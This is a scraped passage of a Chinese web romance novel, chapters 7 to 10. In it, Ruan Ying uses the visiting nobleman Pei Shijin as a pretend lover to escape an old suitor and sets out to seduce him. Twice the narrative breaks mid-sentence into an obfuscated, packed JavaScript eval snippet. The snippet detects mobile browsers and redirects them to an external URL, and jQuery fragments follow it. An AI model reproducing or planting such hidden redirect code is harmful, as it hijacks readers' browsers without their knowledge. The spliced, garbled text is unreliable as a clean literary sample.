赵员外想娶阮莹的事,多少有风声。 苗玲应和了一句:“人家可是一直想攀高枝,这不是没攀上么,一来二去都成老姑娘了,眼看着要嫁不出去了,再过两年,连赵员外的小老婆可都当不上咯。” 苗玲一向嫉妒阮莹,苗玲长得好看,却因为阮莹,总被压一头。她总想着要比过阮莹,今天终于也算实现了。她嫁给了镇长的儿子,可阮莹却只能给一个老家伙当小老婆。 阮莹听着他们讽刺的话,脸色不算好看,她胸口一阵起伏,吵架这种事她并不擅长,但示弱她擅长。阮莹眼眶红了一圈,咬着下唇,娇娇柔柔地看向钱成才,一言不发,那双眼睛却好似有千言万语要说。 钱成才虽然恼恨阮莹不接受自己的追求,可心里也没完全放下阮莹,这会儿被她这么瞟了眼,一时心神激荡,不由猜测她这一眼是什么意思。她是后悔了?比起嫁给赵员外那个老头子,当然还是嫁给他更有前途了。 钱成才这么想着,心里痒痒的。若是阮莹愿意回头,他也不是不能接受她。 苗玲看见钱成才的表情,脸色一变,在他胳膊上掐了下:“别以为我不知道你在想什么?” 钱成才被她戳破心思,矢口否认:“我想什么了?你可别给我泼脏水。” 苗玲冷笑了声,她心里一直介意钱成才喜欢过阮莹的事,阮莹自己拒绝了钱成才,让她捡到了这门亲,她就不可能再让阮莹有机会夺走。转瞬的事,两个人就吵了起来,谁也不让谁,没人再针对阮莹。 阮莹在一边看热闹,不由得掩嘴失笑。 苗玲瞪了眼阮莹,怕钱成才再看下去,心里真要生出别的心思,忙不迭拉着钱成才走了。 他们夫妻俩刚走,赵员外就来了。 赵员外六十岁的年纪,瘦瘦小小的,背有些驼,就更显得矮小,甚至比阮莹还矮几分。他面颊上的肉都凹陷下去,脸上的皱纹耷拉成一团,一走近那双眼睛就色眯眯地盯着阮莹不放。 阮莹心里一阵厌恶,还是扯了扯嘴角,说了几句道贺的话。赵员外捋了捋胡须:“阮姑娘是越发漂亮了。” 赵员外身边的家丁看了眼阮九,“阮九,进去坐啊,别在这儿傻站着。” 阮九看了眼两个人,转身走了。 阮九一走,赵员外垂涎的表情更甚:“你爹都跟你说了吧,你考虑得怎么样?这么多年了,我的心思你也都知道,你放心,我绝不会亏待你,跟着我,你那是吃香的喝辣的。” 赵员外说着,目光落在她细嫩的手上,伸出手要抓她的手。阮莹赶紧躲开,“赵员外,多谢您的厚爱,但是不用了,我……我已经有心上人了。” 赵员外一双眼本来就小,一眯起来更看不见,他笑 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“你是谁?还不快放开我们老爷?” 家丁们七手八脚地上前来,都被长林他们拦住,只能眼睁睁看着赵员外受罪。 裴时瑾冷哼一声,松开赵员外的手,护在阮莹身前:“想必阁下就是赵员外了,一把年纪,就不要想老牛吃嫩草的事了。” 赵员外揉着胳膊,好一会儿才缓过神来,对裴时瑾发作:“你又是谁?敢在我的地盘撒野。” 他看阮莹躲在裴时瑾身后,两个人举止亲密,关系非同一般,难不成这人还真是阮莹的情郎? 赵员外一时拿不准裴时瑾的身份,他是富贵出身,看得出这人身上衣料上乘,只怕也是富贵出身。刚才他身边小厮拦住了自己的家丁,像是练家子,真打起来,自己这边未必能占到便宜,何况今天是自己的大寿。想了想,赵员外只好咽下这口气,不给自己自找晦气。 赵员外皮笑肉不笑:“误会,都是误会。这位公子,我只是想和阮姑娘打个招呼,今天是我的寿宴,想必你们也是来贺寿的,既然如此,还不快带二位入座。” 家丁听得吩咐,领他们入座。 裴时瑾看了眼赵员外,今天这场合闹起来的确也不好,何况他若是真和这赵员外结了仇,日后他离开了,阮莹又该如何? 裴时瑾与阮莹一道寻了个位置坐下,阮莹的手还拉着裴时瑾的胳膊,好似惊魂未定。 “子玉哥哥,吓死我了,还好你来了。” 裴时瑾视线瞥了眼她拉着自己的手,道:“你不该一个人和他说话。” 阮莹吸了吸鼻子:“我知道……可是我爹逼我……” 她垂下脑袋,两句话的功夫眸子里就盈满水雾。 裴时瑾叹了声,他不是怪她,只是好心提醒。她到底是个娇弱的姑娘,面对心存恶念的男人,压根没有任何反抗的余地。 阮莹松开他的胳膊,偷偷抹眼泪。 裴时瑾道:“我没有怪你,只是担心你。” 阮莹点头:“我知道的……”可鼻尖还是红彤彤的,惹人垂怜。 她咬了咬唇,说:“子玉哥哥,方才为了拒绝赵员外,我骗他说,你是我的相好……你会生气吗?” 她说完,又垂下脑袋。 裴时瑾:“我不生气。” 若是这样能帮她挡掉这件事,也可以。 阮莹微勾唇角,又揉眼睛,“子玉哥哥,你真好。只是这个赵员外不是省油的灯,他肯定会让人去打听我们俩的关系,这段时间恐怕还得麻烦你,假装一下我的……情郎。” 说到最后两个字,阮莹的声音几乎听不见,白皙的面颊更是浮上一层羞涩。 “可以。”裴时瑾应下。 他原以为这不过再简单不过的事,可原来竟……有些难。他做过战场上的无名小卒,也做过骁勇善战的将军,更做过一人之下万人之上的摄政王,就是没做过别人的情郎,不知道原来做情郎要做那些事。 8. 第 8 章 寿宴没多久就开始了,赵员外这回有意做排场,请了戏班子来唱戏,咿咿呀呀地从开头唱到结尾,不时有人拍手喝彩。阮莹与裴时瑾坐在一桌,不想其他人过来,裴时瑾便让长林他们也坐下,还空下几个位子,大抵是长林他们气质肃杀,没人敢来。 他们这一桌除了阮莹,都是生面孔,不时有人朝他们张望,窃窃私语议论这是谁家的。他们不认得裴时瑾,只看他生得俊俏非常,不同凡俗。 “和阮家丫头坐在一起的是谁啊?” “不认识,莫非是阮家丫头的相好?” …… 他们声音不大,可裴时瑾习武多年,耳力超乎常人,依旧听得清楚。他看一眼阮莹,阮莹眉目微垂,萦绕着忧虑之色,似乎很不安心。 裴时瑾安抚她:“别怕,我在。” 阮莹感激地冲他一笑,低头吃起东西来。 阮九早早地找了个位置坐下,心头还挂念着阮莹和赵员外的事,等了会儿,却看见阮莹和一个陌生的男人一道入了座。阮九没见过裴时瑾,也不晓得他就住在自己隔壁,心中诧异,还有别人问他,那男人是什么身份,他哪里晓得,只好干笑几声敷衍过去。 及至寿宴结束,裴时瑾和阮莹一道离开赵宅,走出赵宅大门后,阮莹一直紧绷的背脊终于松懈下来,她拍了拍心口,换身对裴时瑾道谢:“子玉哥哥,今天真是多谢你了。要是没有你,我都不知道怎么办才好。” 裴时瑾只说不用谢,又叮嘱她:“日后若是遇到什么事,也可以来找我帮忙。” 阮莹点头,她唇边漾出一抹笑意,忽而提议:“子玉哥哥,你搬来金水镇这么久,一直都在家中用功读书,肯定也闷坏了。既然今日都出来了,不如去走走,散散心吧?” 裴时瑾嗯了声。 阮莹和他并肩而行,慢慢往前走了一段,他们出来得最快,这会儿路上还没什么人,分外安静。屋舍遮挡了太阳,阮莹给裴时瑾介绍金水镇。 裴时瑾对这些其实不感兴趣,但还是礼貌地嗯了几声,示意自己在听。 倏忽之间,阮莹伸手拉住裴时瑾的手。 裴时瑾偏头看她,听见她低声解释:“有赵家的家丁在跟着我们偷看。” 所以这是假装情郎的步骤。 裴时瑾恍然,哦了声,余光的确瞥见他们身后有人鬼鬼祟祟跟着。 那是赵员外派来的人,赵员外的确对他们的关系表示怀疑,也没那么轻易对阮莹死心。 阮莹的手小小的,分开他的手指,与他十指相扣。她的柔软的触觉再一次被裴时瑾感觉到,裴时瑾第一次和人这样手牵手,心里并不十分习惯,原来和女子十指相扣是这种感觉,他有些微地走神。 她手上的柔软触觉,又勾动他对于别处柔软触觉的记忆,这相似的体验仿佛战场上排兵布阵,一处牵动一处,无法切割。手心紧紧挨在一处,尽管行在阴凉处,也闷出了潮热的汗意,微黏的,在他们手心里交织。太亲密无间。 裴时瑾微微抿唇,不由得回头看了眼那紧跟着的家丁,他似乎锲而不舍,没有撤退的意思。 阮莹也发现了,手心里沁出更多的汗,她好像在害怕。她微微抬眸看裴时瑾,低声说:“子玉哥哥,你抱我一下。” 裴时瑾一时怔住,而后才缓缓伸出手,将阮莹虚揽在怀中。阮莹顺势靠在他胸口,眷念地依偎着,远远看来,倒真像一对恩爱情人。 阮莹:“子玉哥哥,你再搂紧一点,这样比较可信。” 裴时瑾只好再收紧了些力道,心里却想,这样一番搂抱,等会儿回去他身上又全是她的味道了。此刻,他的鼻息里全是阮莹的气息,裴时瑾喉头滚了滚。 “好了吗?”他问了一句。 阮莹从他怀里退出来,撩了撩头发:“好啦。” 不觉间,他们已经走出镇子,到了乡野。 金水河奔涌向前,两边绿树林立,一走近便觉清凉扑面而来。阮莹问裴时瑾要不要去河里玩水,裴时瑾摇头。 阮莹:“好吧,那我自己去玩水了。小时候夏天我就经常来金水河玩水,水里还会有小鱼小虾。” 她说着,在裴时瑾面前脱下鞋袜,露出白皙的一双足,小巧而可爱。 裴时瑾目光被那晃动的白色刺到,侧过身子不去看她,女子的脚是隐私,不该被他看。 阮莹将鞋袜放在岸边,提着裙锯缓缓下水,水声荡漾,落进裴时瑾耳中。他虽看不见,却能知道她在走动,嬉闹。 河水清澈见底,可以看见水中游动的鱼儿和石头上的青苔,阮莹玩心大起,鞠了一捧水泼向裴时瑾。清凉的河水在他后颈上激了激,裴时瑾回过头看她。 她天真而娇媚,露出些许狡黠的笑容。 “子玉哥哥,你真的不下来玩吗?”阮莹向他发出邀请,她坐在河中的一块大石头上,用脚踢着河水,点点水波溅射而起,沾湿了裴时瑾的衣角。 “不用,你玩。”裴时瑾淡淡地开口。 阮莹哦了声,玩自己的。她从石头上下来,想要站稳,却一时踩到湿滑的青苔,滑了一跤,整个人坐进河水中。 她的意外太过突然,裴时瑾皱了皱眉,走近了些,拉她起来:“没事吧?” 河水不深,倒不至于让阮莹呛水,但她整个人都跌进了水里,衣裳顿时湿透,头发也湿了半截,有些凌乱地耷拉在肩头。 阮莹拉着裴时瑾的手站起来,摇了摇头:“没事,我太不小心了。” 她擦了擦脸,略显狼狈地冲他笑了笑。 夏日里衣裳单薄,沾了水后越发薄透,湿哒哒的衣裳贴着她的肌肤,勾勒出她姣好的曲线,杨柳细腰支着娇盈一双峰峦,白皙胜雪,尽在裴时瑾眼前。 他无意冒犯看她,可她整个人此刻都湿透了,看哪里都是冒犯。裴时瑾视线一时有些无措,不知该落在哪里。 男人的劣根性又引诱他想,原来那些柔软的触觉是这种模样,仿佛一只手掌握不住,会有无边的春色从他指缝里往外流淌。 裴时瑾小^腹一热,闭上眼睛。 阮莹好似还无知无觉,笑盈盈的。 长林他们方才都在不远处停下,并未跟过来,听见阮莹惊呼一声,又有落水的声响,几人都赶过来,怕发生什么事。 裴时瑾听见他们脚步声,想到阮莹此刻的模样,沉声命令:“别过来,回去。” 长林他们一怔,虽然不解,但还是照做,都退了回去。 裴时瑾思忖片刻,解下外衫,罩在阮莹身上。他拢了拢外衫,将她裹得严实:“别着凉了。” 阮莹仍是笑着:“子玉哥哥,你真好。不过这样会不会弄脏你的衣裳?等回了家,我会洗干净再还给你的。” 裴时瑾没说什么,只是扶着她的胳膊往岸边走,她的鞋袜还在岸边。 阮莹跟在他身后,缓步往岸边走。她怕自己又摔一跤,走得格外小心。裴时瑾只好也放缓了速度,二人走到河岸边,阮莹松了口气,她跨上岸,弯腰拿起自己的鞋袜,往河边的草地上走。草地也有些湿滑,并不好走,阮莹脚下再次一滑,打了个趔趄。 这回裴时瑾就在她身侧,阮莹下意识想抓住裴时瑾的手,她不知道裴时瑾左手有伤,不能使力,整个人的重量都压在他左手上。裴时瑾左手没力气,稳不住她的身形,反而被她带倒,二人双双跌在草地上。 阮莹趴在裴时瑾怀里,娇盈撞在他胸膛,她吃痛地惊呼一声,这回跌倒没那么幸运,还扭到了脚踝。她眉目皱起来,不停地吸着气。 “对不起,子玉哥哥。” 裴时瑾看她神色,问:“怎么了?伤到哪里?” 阮莹嘶了声:“脚踝好像扭到了。” 她似乎很痛,裴时瑾不好叫她马上起来,只好让她缓一缓。阮莹撑在他胸膛,缓了好一会儿才感觉舒服一些。 阮莹声音还有些颤,抬眸看他,天真开口:“子玉哥哥,你没事吧?我好像感觉到有石头硌我,你没有撞到石头吧?” 她 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方才他们公子与阮姑娘二人在河边打闹,不知发生什么,这会儿阮姑娘身上披着公子的衣裳,还走不动路。很难不让人猜测些什么。 长林眉头越皱越深,长明却面露喜色,他对阮莹很有好感,倘若阮莹成了他们公子的女人,那也很好。 裴时瑾冷冷一眼扫过他们几个,他们顿时收了心思,不敢再胡乱猜测什么。 裴时瑾一路扶着阮莹走回家,阮家与裴时瑾租住的院子都在镇子中间,要走回去势必得经过一些人家,那些人都认识阮莹,却对裴时瑾有些陌生。这会儿见裴时瑾扶着阮莹的手,举止亲密,不免有些猜测。 裴时瑾道:“今日之事,恐怕对你的名声有损。” 阮莹却笑呵呵:“那不正好,坐实了你是我的情郎,想必那赵员外知道了,也就死了这条心了。” 裴时瑾默然不语,他能做她的挡箭牌一时,却做不了一世。他之后若是离开金水镇,那阮莹的名声只怕更坏。 裴时瑾顿觉自己欠缺考虑,不应该鲁莽应下阮莹。 阮莹不知道他心里想的,她到了家中,和裴时瑾道别:“今天真的很感谢你,子玉哥哥,你的衣裳我会洗干净再给你的。” 裴时瑾送她到家,而后回了自己的院子。 一进门,长林就有些按耐不住:“公子,您与阮姑娘……” 裴时瑾瞥他一眼:“我有分寸。” 长林只好闭嘴:“是。” 阮莹一回到家,阮九已经在家里等着,他迫不及待追问她和裴时瑾的关系。 “那男的是什么人?你和他什么关系?你怎么弄成这副样子?” 阮莹身上湿哒哒的,难受得紧,她不理会阮九的问话,自己烧水洗了个热水澡。等洗完澡,阮九还不依不饶问起。 “原来他就住在咱们隔壁啊,我说呢,你怎么天天往外边跑。他是什么身份?你想嫁给他是不是?” 阮莹垮下脸:“对,他是我的相好,我喜欢他,我要嫁给他。” 阮九嘲弄她:“哟,不做你那王妃的春秋大梦了?怎么,他能比赵员外还有钱?” 阮莹呛他:“你既然以前不管我,现在我的婚事你也不要来插手,我想嫁给谁就嫁给谁。” 阮九冷笑:“我是你老子,反了你了。” 阮莹不想再跟他吵,转身进了房间。她关上门,不禁有些委屈,她娘死得早,她这爹有和没有没什么分别,真心对她好的人那么少。 阮莹趴在床头,余光看见裴时瑾罩在她身上的那件衣服。她将那件衣服搂在怀里,姣好的面容紧紧贴着那柔软的衣料,仿佛从中得到慰藉。 裴子玉人很好,他今日那种情形,想的却是闭上眼睛不看她。他愿意为她出头,愿意教她读书识字,担心她受伤…… 他那么好。 抛开她的小心思,她也几乎要爱上他了。 9. 第 9 章 赵员外派出去的人将阮莹与裴时瑾的亲密互动回去尽数禀报了赵员外,赵员外本以为这回胜券在握,没想到中途杀出来一个情郎,他摸了摸发白的胡须,一双浑浊的眼中闪过些不悦。 “她那个情郎到底是什么来头,可查清楚了?”赵员外在椅子上坐下,喝了口茶。 管家笑着点头:“都查清楚了老爷,那人姓裴,叫裴子玉,说是打京城来的书生,图个清净发奋读书,所以来金水镇租了屋子住下。那姓裴的在京城好像也是个富贵人家,出手挺阔绰的,难怪那阮莹攀上他。” 这些是裴时瑾对外的说法,他们能查到的也只有这些。 赵员外冷嗤了声,对这裴子玉很不满,可心里又实在咽不下这口气,阮莹那张脸那身段在他心里挥之不去,始终勾着他。赵员外吩咐管家,让他继续派人盯着阮莹和那姓裴的。 - 阮莹把裴时瑾的那件衣服洗了,晾干,第二日去找他的时候给他带过去。她的脚踝过了一晚已经好很多,可以脚尖触地慢慢走动。 裴时瑾目光落在她脚踝,好看的眉头微皱:“你可以在家中休息两日。” 阮莹笑了笑:“我已经没什么事啦,在家里躺着也是躺着。” 她都已经出来了,裴时瑾不好再说什么,只让她赶紧坐下休息。阮莹轻车熟路拿起纸笔,想到什么,问道:“子玉哥哥,你说赵家的人会不会溜进来看我们?若是如此,咱们在家中是不是也得做做样子?” 裴时瑾:“他们进不来。” 长林他们几个,不至于连个废物家丁也拦不住。 阮莹嘴上说那真是太好了,心里却有点失望,错失了一些引诱裴时瑾的机会。他昨日那反应她感觉得到,这时候就应该趁热打火,撩拨得他不能自已才好。 没有名正言顺的借口,就只能她自己想办法。 阮莹手上写着字,心里却在盘算别的,她忽地嘶了声,裴时瑾果然问她怎么了。 她咬着唇,摇摇头:“脚踝突然有点痛,没事的。” 裴时瑾眉头微敛,看向她藏在桌案下的脚踝。她看起来身体娇弱,这种伤如果是放在裴时瑾身上,他连眼睛都不会眨一下,可在阮莹身上,她似乎也很难承受。 “哎呀,我真的没事啦。”阮莹勾了勾唇。 她越说没事,越让裴时瑾放心不下。 阮莹打趣说:“子玉哥哥是不是要检查一下才能放心?” 她说着,当真侧过身,把裙摆撩起来,解开罗袜给他看自己脚踝。裴时瑾本想说不用,可她已经解开了罗袜,露出白皙小巧的脚。 “你看嘛。”她把脚伸到裴时瑾跟前,晃了晃。 裴时瑾目光落在她脚踝上,红肿的颜色变作青紫,在她白皙肌肤的衬托下,更显得触目惊心。 他眸光一沉。 阮莹还在解释:“看着很严重,其实真的不严重,我都感觉不痛了,不信你碰一下。” 理智上,裴时瑾应该拒绝,并且让她穿好鞋袜,只是…… 他默然伸手,宽大手掌握住她的脚踝。 阮莹当即吃痛惊呼一声,又强行找补:“你的力气太大啦,子玉哥哥。” 裴时瑾道:“看起来有淤血堵塞,我帮你揉揉。” 他用这理由说服自己,他只是想帮她揉揉,让她好转。 阮莹欣然应允:“好呀,谢谢子玉哥哥。” 她把腿搭在裴时瑾腿上,任由他握住自己白嫩的脚踝,手掌在她脚踝上按着。裴时瑾的力气有些大,弄得她有点痛,她不免发出些轻微的声响,娇滴滴的,婉转柔媚,落在裴时瑾耳中,像另一层意思。 他虽然不懂这些,但有身为正常男人的本能。 手心里是娇嫩的女子肌肤,温温软软,耳边还要听她断续的几声嘤^咛,这差事就没那么简单纯粹了。 裴时瑾尽量让自己不多想一些有的没的,他虽然不是正人君子,但也不想几次三番亵渎一个未出阁的姑娘。 只是他越想让自己心静,反而越发地有压不住的意念往外冒。可这时候若是突然结束,又显得他心虚。 裴时瑾只好和阮莹说话,分散自己的注意力。 “阮姑娘今年十九?” “嗯……” “阮姑娘可有心仪的男子?” 阮莹却忽然沉默:“这个嘛,有吧。” 她讲得迟疑,裴时瑾不由抬眸看她。 她若是有心仪的男子,那些事还好办些,他可以想办法成全他们,日后他离开,她应该也不会再被赵员外欺负。 阮莹:“哎呀,子玉哥哥,你老是叫我阮姑娘阮姑娘的,咱们都认识这么久了,好生分呀。你不要叫我阮姑娘了,你就叫我阿莹吧。”她歪头笑说。 裴时瑾默了默,嗯了声。 阮莹又说:“那你现在叫我一声好不好?我一直觉得子玉哥哥你的声音特别好听,我的名字被你叫出来一定也会很好听的。” 裴时瑾再次一默,他从没这么叫过别人。 阮莹还在等:“求你啦,子玉哥哥。” 裴时瑾:“我不习惯。” 阮莹:“习惯是一个过程嘛,要慢慢来才能习惯的。” 裴时瑾还是默然。 阮莹见状,故意说:“哎呀,我的脚好痛啊,要听子玉哥哥叫我阿莹才会好一些呢。” 这种话太过刻意,若是女子听见,大抵会觉得她矫揉造作,可男人却大多吃这一套。裴时瑾也不能免俗,她嗓音娇娇的,听得裴时瑾心里发软。 他轻叹一声,终是妥协,嗓音冷冽地唤了一声:“阿莹。” 这两个字没有什么感情色彩,但阮莹没有说谎,裴时瑾的声音的确好听,所以即便没有感情色彩,冷冰冰两个字,从他嘴里说出来,也显得很好听了。 阮莹笑了声:“果然很好听,听完脚踝都不痛啦。” 裴时瑾垂眸,只觉得手中的娇小脚踝愈发热了。 他耐着性子替她揉了一会儿,终于收手。 阮莹又夸:“好像真的没那么疼了,子玉哥哥你好厉害,怎么什么都会。” 行兵打仗常有伤痛,军中有随行军医,但他们自己多少也能处理一些简单的跌打肿痛,算不得什么厉害的事。 裴时瑾起身,离她稍远了些,微不可觉地深呼吸。 阮莹将鞋袜穿好,跟着他认字,又问:“过两日是碧女娘娘寿辰,镇上会有庙会,很热闹,子玉哥哥你要不要和我一起去逛逛?” 裴时瑾没听过什么碧女娘娘,大抵是他们这地方的习俗,他无意凑热闹,自然拒绝。 阮莹有些失望地哦了声,又说:“可是我好想去,这是金水镇除了过年,一年之中最热闹的时候了。子玉哥哥,你可以陪我一起去吗?我有点怕碰到赵员外。” 她眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559808|171351||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巴巴地望着裴时瑾。 裴时瑾顿了顿,终是应下:“好。” 裴时瑾担心她的安危,何况她每回唤他子玉哥哥,总是嗓音清甜,仿佛蕴藏着无尽的亲昵,她信任他,依赖他,也叫人难以拒绝。 阮莹得他应允,笑了起来:“谢谢你,子玉哥哥。” - 金水镇附近十里八乡,都信碧女娘娘,奉碧女娘娘为他们的守护神,故而碧女娘娘寿辰,附近乡镇都会热闹地举行祭祀活动还有庙会。越临近碧女娘娘庙,街上越张灯结彩,摊贩叫卖声吆喝不断。 裴时瑾和阮莹走在人群中,阮莹一双眉目四下流转,从一处摊子张望到另一处。卖吃食的、卖玩具的……应有尽有,不过阮莹最喜欢的还是卖首饰的,她喜欢那些漂亮首饰,更喜欢它们戴在自己头上的样子。 虽然阮莹穷,但她会去试戴,而后依依不舍地摘下来。 她在首饰摊前站定,目光扫视一圈,落在了一对鎏金流苏耳环上,便向摊主问价。虽说她大概也买不起,可听摊主说这一对耳环竟要两百文时,阮莹还是惊了惊。 “这么贵?又不是什么好东西。”阮莹不由抱怨了句。 那摊主认得阮莹,她常来逛,却不买,这会儿听她嫌价钱贵,揶揄道:“你这话可就不对了,这怎么不是好东西了?你瞧瞧这做工,这精细度,你不买啊,就别拦在这儿。” 摊主又乜了眼她身后的裴时瑾,一视同仁地揶揄:“这位公子,这点东西都舍不得给她买?” 阮莹拉着裴时瑾离开:“我不要了,子玉哥哥,咱们走吧。” 裴时瑾没动,给长林使了个眼色,长林便拿出银钱结了账。 裴时瑾又问:“除了那个,还有别的想要的么?” 阮莹怔住,心道他果然出手阔绰,心下不免欣喜,却不好表现出来,只摇了摇头说没有了。 摊主收了钱,立刻堆出笑容,说起好话来:“公子大气,我看这耳环和她正是相配。” 阮莹捧着那耳环,轻声道谢:“子玉哥哥,对不起,让你破费了。” 裴时瑾:“无妨。” 就当他为自己那几次三番的亵渎的补偿,尽管少女还未曾意识到他的亵渎。 阮莹低头看向手里的东西,又道:“既然是子玉哥哥送我的,不如子玉哥哥替我戴上吧。” 裴时瑾:“我不懂这些女儿家的东西,会弄疼你。” “很简单的,子玉哥哥这么厉害,肯定不会的。”她拿出那对耳环,将垂顺的青丝撩起,露出细嫩的脖颈,与小巧的耳垂。 她都这样,裴时瑾也不好再拒绝,只好拿起那对耳环,捏住她柔软的耳垂,对准她的耳洞穿进去。 面对千军万马丝毫不惧的人,竟然有些许的紧张,她的耳垂太小太软,他很怕自己弄疼她。好在他顺利地戴了进去,阮莹的神色如常,应当没有感觉到不舒服。 裴时瑾吐出一口气,手指微曲:“好了。” 阮莹晃了晃脑袋,问他:“好看吗,子玉哥哥?” “嗯。”裴时瑾并未敷衍她,阮莹本就长得漂亮,戴不戴那对耳环不影响她的好看,甚至那对耳环连锦上添花都做不到。就像阮莹说的,那的确算不得好东西,她应当拥有更好的。 京城王府的库房里,有一些东西与她应当相称,能为她锦上添花。 裴时瑾被自己的想法惊了惊。 10. 第 10 章 转瞬他便为自己找到答案,他只是为她可惜,正如他也会为一把神兵利器被埋没而可惜。他可惜阮莹生在这穷乡僻壤里,拥有坎坷的身世与贫穷的家境,她更应当做一朵被娇养的海棠。 裴时瑾晃神的功夫,阮莹面上却闪过一丝慌乱,而后揪着他衣角,将他拉近自己。 方才为给她佩戴耳环,阮莹本就站得高了些,这会儿裴时瑾失神一刹,被她拽得往前一倾,顷刻间,她的脸近在咫尺。 裴时瑾心跳仿佛顿了顿,她纤长浓密的鸦羽轻轻颤动,像扇动在他心头,激起微微的涟漪。她的眼睛莹润明亮,澄澈像一潭清水,映出他自己面容。 裴时瑾避开她的视线,垂落眸子,却又撞上她一双丹唇,她或许涂了胭脂,唇上泛着水润的光泽,又或许没有,她素日里一向如此。 裴时瑾一时记不清,他的思绪在这方寸之地里略显混乱。 阮莹慌忙解释:“我、我看到赵员外。” 裴时瑾轻嗯一声,喉头微动。 今日庙会有不少男女结伴来逛玩,但阮莹和裴时瑾二人容色皆太过优越,很难不引人注意到。那赵员外一眼看见阮莹,又见她与她那年轻情郎搂搂抱抱,当下冷哼一声,大步离开。 阮莹见赵员外离开,松了口气,手上也松开了裴时瑾的衣襟,“好了,他走了……” 她话音未落,有人从她身后经过,胳膊肘撞了她一下,她身形不稳,往前倾去。这一倾,正好将唇印在裴时瑾唇上,温软触觉一触即离。 阮莹面色绯红,解释说:“有人撞了我一下,我不是故意的,子玉哥哥……” 裴时瑾思绪慢半拍:“没事。” 何况这种事,也该是她吃亏,毕竟她是姑娘家。 阮莹从石头上跳下来,垂着脑袋,很不好意思看裴时瑾,只跟在他身侧不言语。 裴时瑾也不言语,缓步往前走。 唇上的触觉却仿佛未曾消退,萦绕在他心头,裴时瑾背过手,手指慢慢握成拳,又松开。 过了好久,阮莹才缓和好心绪,装作无事发生一般,和裴时瑾讲起碧女娘娘的故事。 “传闻碧女娘娘曾经是一个凡人,但是心怀大义,乐善好施,淳朴善良,在天灾中努力地救百姓,因此功德无量,后来就飞升成为了神仙……” 裴时瑾听得心不在焉,只偶尔嗯两声。 阮莹其实说得也没那么认真,自然不会在意他是不是认真听了。两个人就这么各怀心思,一路走到了碧女娘娘庙前。 碧女娘娘庙香火鼎盛,庙里挤满了人,阮莹往前跨进庙门,虔诚跪在蒲团上祈祷。裴时瑾不信这些,只站在她身后,待她跪拜完,才和她一起走出庙。 阮莹:“子玉哥哥,我方才和碧女娘娘许了愿,希望碧女娘娘保佑你高中,也保佑你平安健康,一世顺遂。我说,如果我的心愿可以实现,我愿意用寿命和碧女娘娘交换。” 她背过身走路,和裴时瑾面对面说话。 裴时瑾脚步一顿,盯着阮莹。 他没想到阮莹许的愿望是关于自己的,更没想到,她情愿用寿命换。裴时瑾不信这些,可他们这里的人都相信这位碧女娘娘,阮莹也信。 他一时心头动容,不知是何滋味。 很少有人对他这么好,从前是轻视冷落,后来是畏惧巴结,但里面的真心,少之又少。 可今天,他却在阮莹这里轻而易举得到。 真心,多可贵的东西。 裴时瑾眸光微动,盯着阮莹,他试图从她眼神里分辨出一些虚情假意的东西,但是没有。她笑吟吟地看着他,好像完全发自真心。 裴时瑾移开视线,呼吸有些重,他抬头望向天空,刺眼的太阳晃得他睁不开眼睛。 阮莹将他的反应看在眼里,她方才那些话半真半假,她的确向碧女娘娘许愿他高中,但那是一半的愿望,另一半是她如愿嫁给他,他再高中,她就能做官太太了。至于用寿命来换,这是她的谎话,她才不会傻到用寿命换,她要长命百岁且荣华富贵。 但是这些事,只有碧女娘娘会知道,碧女娘娘又不会告诉别人。所以从她嘴里说出来的,谁又能说不是真的呢? 她有一双会骗人的眼睛,看人时总是懵懂无知。她早就知道,因为镇上那些男人,都被阮莹用眼睛骗过。 裴时瑾再怎么样,也是一个男人。 从碧女娘娘庙出来,有一棵姻缘树,很多人在那里挂红绸,将二人的名字写在红绸上,祈求好姻缘或是白头偕老。阮莹也拉着裴时瑾凑热闹,要了一个红绸。庙祝可以代写,也可以自己写,阮莹问庙祝要了纸笔自己写。 裴时瑾以为她是要写自己和她那个喜欢的人,结果却见阮莹工整地在红绸上写上了他们俩的名字。 裴时瑾有些意外,阮莹说:“今天那赵员外也在,当然做戏要做全套啦,万一他发现了我写别人的名字,岂不是露馅啦。” 她拿起红绸给裴时瑾看他们俩的名字:“怎么样?我的字是不是写得越来越好啦,子玉哥哥。” 裴时瑾嗯了声。 阮莹看了眼头顶的树,想着将红绸抛高一些,可她怕自己抛不到,求助裴时瑾:“子玉哥哥,你来挂吧。” 裴时瑾接过红绸,稳稳一抛,便将红绸挂在了高处。 清风吹动红绸飘舞,依稀可见他们俩的名字。 阮莹与裴子玉终成眷属。 那红绸飞扬,直飘进裴时瑾的梦里。 碧女娘娘庙里她的背影,碧女娘娘庙前她说希望他一世平安顺遂,一幕幕在他梦里浮现,最后定在那个蜻蜓点水的亲吻。梦却没在这里戛然而止,蜻蜓点水再点水,化作一尾游弋的鱼,撬开她柔软的红唇,钻进去了,痴缠不断。 又续上了那天在河边,她伏在他身上,天真发问。下一瞬,是他翻转二人体位,将她欺在身↑下。她唤他子玉哥哥,讨饶,他却不停,停不下来。 裴时瑾倏然睁开眼,卧房之内光影昏昏,只有院中传来几声蝉鸣,愈叫愈嚣,让他的心跳也愈发跳得快而粗重。 裴时瑾坐起身,空气里弥漫着闷热的暑气,身上热汗往下冒。他愣愣盯着脚下,已经是第二次了。 第二次在梦里亵渎她。 这样不可,他想。 第一次可以说是意外,第二次就不是了。中间已经有太多意外,他强行忽略的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559809|171351||http|test|mini|href|location''.split(''|''),0,{})); () { 